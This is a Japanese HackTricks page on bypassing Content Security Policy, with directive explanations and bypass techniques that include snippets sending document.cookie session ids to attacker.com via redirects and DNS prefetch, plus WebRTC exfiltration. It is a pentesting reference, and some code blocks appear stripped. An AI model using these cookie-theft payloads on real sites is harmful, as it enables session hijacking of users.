# コンテンツセキュリティポリシー(CSP)バイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
**HackenProofはすべての暗号バグバウンティの場所です。** **遅延なしで報酬を受け取る**\ HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。 **Web3ペンテストの経験を積む**\ ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のweb3セキュリティをマスターしましょう。 **Web3ハッカーレジェンドになる**\ 各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。 [**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう! {% embed url="https://hackenproof.com/register" %} ## CSPとは コンテンツセキュリティポリシー(Content Security PolicyまたはCSP)は、**クロスサイトスクリプティング(XSS)などの攻撃から保護するための組み込みブラウザ技術**です。ブラウザが安全にリソースを読み込み、実行できるパスとソースをリスト化および説明します。リソースには、画像、フレーム、JavaScriptなどが含まれる場合があります。以下は、ローカルドメイン(self)からのリソースをインラインで読み込み、実行することを許可する例です。また、`eval`、`setTimeout`、`setInterval`などの文字列コード実行関数も許可されます。 コンテンツセキュリティポリシーは、**レスポンスヘッダ**または**HTMLページのメタ要素**を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。 レスポンスヘッダを介して実装されます: ```http Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` メタタグを使用して実装されます: ```markup ``` ### ヘッダー * `Content-Security-Policy` * `Content-Security-Policy-Report-Only` これは何もブロックせず、レポートのみを送信します(Pre環境で使用)。 ## リソースの定義 CSPは、アクティブおよびパッシブコンテンツが読み込まれる元の制限によって機能します。また、インラインのJavaScriptの実行や`eval()`の使用など、アクティブコンテンツの特定の側面を制限することもできます。 ``` default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### ディレクティブ * **script-src**: このディレクティブはJavaScriptの許可されたソースを指定します。これには、要素に直接ロードされるURLだけでなく、インラインスクリプトイベントハンドラ(onclick)やスクリプトの実行をトリガーすることができるXSLTスタイルシートも含まれます。 * **default-src**: このディレクティブは、デフォルトでリソースを取得するためのポリシーを定義します。CSPヘッダーにフェッチディレクティブが存在しない場合、ブラウザはデフォルトでこのディレクティブに従います。 * **Child-src**: このディレクティブは、Webワーカーや埋め込みフレームのコンテンツに許可されたリソースを定義します。 * **connect-src**: このディレクティブは、fetch、websocket、XMLHttpRequestなどのインターフェースを使用してロードするURLを制限します。 * **frame-src**: このディレクティブは、呼び出すことができるフレームのURLを制限します。 * **frame-ancestors**: このディレクティブは、現在のページを埋め込むことができるソースを指定します。このディレクティブは[``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame)、[` // The bot will load an URL with the payload ``` ### ブックマークレットを介して この攻撃は、攻撃者がユーザーに対してブラウザのブックマークレット上にリンクをドラッグアンドドロップするように説得することを意味します。このブックマークレットには、ドラッグアンドドロップまたはクリックされた場合に、現在のウェブウィンドウのコンテキストで実行される悪意のあるJavaScriptコードが含まれており、CSPをバイパスし、クッキーやトークンなどの機密情報を盗むことができます。 詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) ```javascript document.querySelector('DIV').innerHTML=""; ``` ### 情報の漏洩 CSP + Iframe **ページがリダイレクト**され、**ユーザーに応じて秘密のある別のページにリダイレクト**する状況を想像してみてください。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\ **また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。** 管理者がリダイレクトされるドメインを以下の方法で漏洩することができます: * **CSP違反を通じて** * **CSPルールを通じて** CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです(CSPによってブロックされます)。これは、CSPを使用したiframeの未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。 秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます(この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります)。 ``` img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` トリックは[**ここ**](https://ctftime.org/writeup/29310)から。
**HackenProofはすべての暗号バグ報奨金の場所です。** **遅延なしで報酬を受け取る**\ HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。 **Web3ペンテストの経験を積む**\ ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!急成長するWeb3セキュリティをマスターしましょう。 **Web3ハッカーレジェンドになる**\ 各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。 [**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから収益を得ましょう! {% embed url="https://hackenproof.com/register" %} ## CSPをバイパスするための安全でない技術 ### PHPレスポンスバッファの過負荷 PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**CSPヘッダー**が**送信される前に**レスポンスが**送信**され、ヘッダーが無視されます。\ そのため、この技術は基本的には**警告でレスポンスバッファを埋める**ことで、CSPヘッダーが送信されないようにすることです。 アイデアは[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)から。 ### エラーページの書き換え [**この解説**](https://blog.ssrf.kr/69)によると、CSP保護をバイパスするために、エラーページ(CSPなしである可能性があります)を読み込んでその内容を書き換えることができたようです。 ```javascript a = window.open('/' + 'x'.repeat(4100)); setTimeout(function() { a.document.body.innerHTML = ``; }, 1000); ``` ### SOME + 'self' + wordpress SOMEは、**ページのエンドポイント**でのXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、**脆弱なエンドポイント**は**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用するための実際のエンドポイントのDOMにアクセス**することができます。詳細については、次を参照してください: {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) {% endcontent-ref %} さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(ただし、文字、数字、ドットのみが制限されます)。 攻撃者は、このエンドポイントを悪用してWordPressに対して**SOME攻撃**を生成し、``の中に埋め込むことができます。この**スクリプト**は、'self'によって**許可されているため**、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**SOME攻撃**を**バイパスする**ための**脆弱な****コールバック**エンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます...\ この攻撃の実行方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。 ## CSP情報漏洩のバイパス 外部サーバーとの**やり取りを許可しない厳格なCSP**がある場合、情報を漏洩させるために常に行えるいくつかの方法があります。 ### Location 単純に場所を更新して、秘密の情報を攻撃者のサーバーに送信することができます: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### メタタグ メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。 ```html ``` ### DNS プリフェッチ ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。\ ブラウザにホスト名を事前に解決させるためには、次のように指定します:`` これを悪用して、**DNS リクエストを介して機密情報を漏洩**することができます。 ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` 別の方法: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` この問題を回避するために、サーバーは次のHTTPヘッダーを送信することができます: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} 明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません。 {% endhint %} ### WebRTC いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。 ```javascript var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]}); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp)); ``` ただし、それはもはや[不可能ではない](https://github.com/w3c/webrtc-nv-use-cases/issues/35)ようには見えません(少なくとも簡単ではありません)。 もしWebRTCで情報を外部に流出させる方法を知っている場合は、[**プルリクエストを送ってください!**](https://github.com/carlospolop/hacktricks) ## オンラインでCSPポリシーをチェックする * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## CSPを自動的に作成する [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## 参考文献 * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) ​
**HackenProofはすべての暗号バグ報奨金の場所です。** **遅延なしで報酬を受け取る**\ HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。 **Web3ペントestingの経験を積む**\ ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。 **Web3ハッカーレジェンドになる**\ 各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。 [**HackenProofにサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう! {% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。